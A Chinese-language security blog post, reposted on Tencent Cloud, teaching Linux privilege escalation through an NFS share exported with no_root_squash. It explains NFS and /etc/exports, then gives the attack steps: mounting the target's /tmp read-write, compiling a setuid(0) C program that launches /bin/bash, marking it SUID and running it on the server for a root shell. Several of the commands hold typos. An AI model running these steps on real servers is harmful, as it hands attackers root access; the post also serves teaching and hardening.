学习
实践
活动
专区
工具
TVP
写文章
专栏首页黑白天安全团队Linux提权姿势二:利用NFS提权

Linux提权姿势二:利用NFS提权

如果在服务器上具有低特权shell,并且发现服务器中具有NFS共享,则可以使用它来升级特权。但是成功取决于它的配置方式。

目录

1.什么是NFS?
2.什么是root_sqaush和no_root_sqaush?
3.所需的工具和程序文件。
4.利用NFS弱权限。

什么是NFS?

网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。在 NFS 协议是几个分布式文件系统标准,网络附加存储(NAS)之一。

NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送。

什么是root_sqaush和no_root_sqaush?

Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户“ nfsnobody ”,它具有最少的本地特权。如果 no_root_squash 选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时,系统管理员应始终使用“ root_squash ”参数。

注意:要利用此,no_root_squash 选项得开启。

利用NFS并获取Root Shell

现在,我们拿到了一个低权限的shell,我们查看“ / etc / exports ”文件。

/ etc / exports 文件包含将哪些文件夹/文件系统导出到远程用户的配置和权限。

这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构成:

[共享的目录] [主机名或IP(参数,参数)]

其中参数是可选的,当不指定参数时,nfs将使用默认选项。默认的共享选项是 sync,ro,root_squash,no_delay。
当主机名或IP地址为空时,则代表共享给任意客户机提供服务。
当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样:
[共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)]

我们可以看到/ tmp 文件夹是可共享的,远程用户可以挂载它。

还有不安全的参数“ rw ”(读,写),“ sync ”和“ no_root_squash

同样我们也可以使用 showmount命令来查看。

showmount命令用于查询NFS服务器的相关信息
# showmount --help
 Usage: showmount [-adehv]
        [--all] [--directories] [--exports]
        [--no-headers] [--help] [--version] [host]
-a或--all
    以 host:dir 这样的格式来显示客户主机名和挂载点目录。
 -d或--directories
    仅显示被客户挂载的目录名。
 -e或--exports
    显示NFS服务器的输出清单。
 -h或--help
    显示帮助信息。
 -v或--version
    显示版本信。
 --no-headers
    禁止输出描述头部信息。

显示NFS客户端信息
 # showmount

显示指定NFS服务器连接NFS客户端的信息
 # showmount 192.168.1.1  #此ip为nfs服务器的

显示输出目录列表
 # showmount -e

显示指定NFS服务器输出目录列表(也称为共享目录列表)
 # showmount -e 192.168.1.1

显示被挂载的共享目录
 # showmount -d

显示客户端信息和共享目录
 # showmount -a

显示指定NFS服务器的客户端信息和共享目录
# showmount -a 192.168.1.1

这里不多说了

我们接下来在我们的攻击机上安装客户端工具

需要执行以下命令,安装nfs-common软件包。apt会自动安装nfs-common、rpcbind等12个软件包

sudo apt install nfs-common
apt-get install cifs-utils

然后输入命令

showmount -e [IP地址]

创建目录以挂载远程系统。

mkdir / tmp / test

在/tmp/test上装载Remote/tmp文件夹:

mount -o rw,vers = 2 [IP地址]:/ tmp / tmp / test

然后在/tmp/test/中。新建一个c文件。

#include <stdio.h> 
#include <stdlib.h> 
#include <sys/types.h> 
#include <unistd.h> 
int main() { setuid(0); system("/bin/bash"); return 0; }

也可以

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/test/suid-shell.c

编译:

gcc /tmp/test/suid-shell.c -o / tmp / 1 / suid-shel

赋权:

chmod + s /tmp/test/suid-shell.c

好的,我们回到要提权的服务器上

cd / tmp
./suid-shell

可以看到是ROOT权限了

文章分享自微信公众号:
黑白天

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!

作者:李木
原始发表时间:2020-09-25
如有侵权,请联系 cloudcommunity@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • Linux提权姿势一:滥用SUDO提权

    在渗透中,我们拿到的webshell和反弹回来的shell权限可能都不高,如果我们可以使用sudo命令访问某些程序,则我们可以使用sudo可以提权。在这里,我们...

    黑白天安全
  • 提权总结以及各种利用姿势

    本文章适合正在学习提权的朋友,或者准备学习提权的朋友,大佬就可以绕过了,写的比较基础。我也是一个小白,总结一下提权的姿势和利用,也分享一些自己觉得好用的方法给大...

    FB客服
  • linux提权

    grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'  列出所有超级用户账号

    low到你不信
  • Linux下利用SUID提权

    今天给大家带来的是linux下的提权技巧。SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUI...

    Ms08067安全实验室
  • Linux 提权的各种姿势总结

    这篇讲一些关于 Linux 提权的方法,也是参考网上的一些提权方式,对于刚接触 Linux 提权的伙伴来说,需要花不少时间去理解,所以这里是以个人通俗易懂的思路...

    信安之路
  • Linux提权脚本

    实际环境中会遇到过很多有shell但是权限不够的情况,那么对于我这种对内核提权的知识只存在脏牛提权的懒狗来说,最方便快捷的方式就是拿脚本来批量看当前版本的内核有...

    Elapse
  • Linux提权学习

    此时http://10.22.5.70/dahuiji.php 已经取得一个webshell

    用户5807183
  • Linux提权学习

    此时http://10.22.5.70/dahuiji.php 已经取得一个webshell

    HACK学习
  • [ffffffff0x] Linux提权分析

    之前 红队视角下Linux信息收集 中提到过提权的信息收集命令,但没有细讲。本篇文章将着重于各种linux提权手段,总结提权的条件和原理。

    r0fus0d
  • Linux 提权总结

    可见在权限位置有一个s权限。那么这个s的作用是什么呢? 答案是当其他用户执行该文件时,该文件会以root的身份执行。 这里就涉及到了Effective UID和...

    ConsT27
  • 迷糊的提权方式以及利用ssrf到最终提权靶机

    因为是连了vpn的所以可以直接扫目标ip:10.10.11.111拿到目标 只有ip 那就先扫端口nmap -v -sSV -Pn 10.10.11.111 -...

    亿人安全
  • 【好文推荐】各种提权姿势总结

    1.cmd拒绝访问就自己上传一个cmd.exe,自己上传的cmd是不限制后缀的,还可以是cmd.com cmd.txt cmd.rar等

    信安之路
  • 【好文推荐】各种提权姿势总结

    本文来自安全盒子,请点击原文链接查看原文。原文作者:黑色天使,如有版权问题请后台联系删除。

    用户1088289
  • Windows提权的几种常用姿势

    当获取主机权限时,我们总是希望可以将普通用户提升为管理员用户,以便获得高权限完全控制目标主机。Windows常用的提权方式有:内核提权、数据库提权、系统配置错误...

    Bypass
  • wordpress提权漏洞的利用

    利用编辑者权限(普通用户)添加文章,使用wordpress新版编辑器内的【短代码】功能添加HTML编码字符【< >】左尖角和右尖角符号实现XSS

    字节脉搏实验室
  • Linux下提权(基于靶场)

    sudo man man man命令的详细解释 man命令是Linux下的帮助指令,执行两次出现问题后输入下面的代码读取使用bin/sh

    网e渗透安全部
  • 利用mysql的几种提权方式

    1.原理 在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以sys...

    tnt阿信
  • 翻译 | Linux利用动态链接共享对象库提权

    Linux利用动态链接共享对象库提权 RPATH和弱文件权限会导致系统的损害。Linux应用程序可以利用动态链接的共享对象库(我们从现在开始称它们为共享库)来提...

    安恒网络空间安全讲武堂

扫码关注腾讯云开发者

领取腾讯云代金券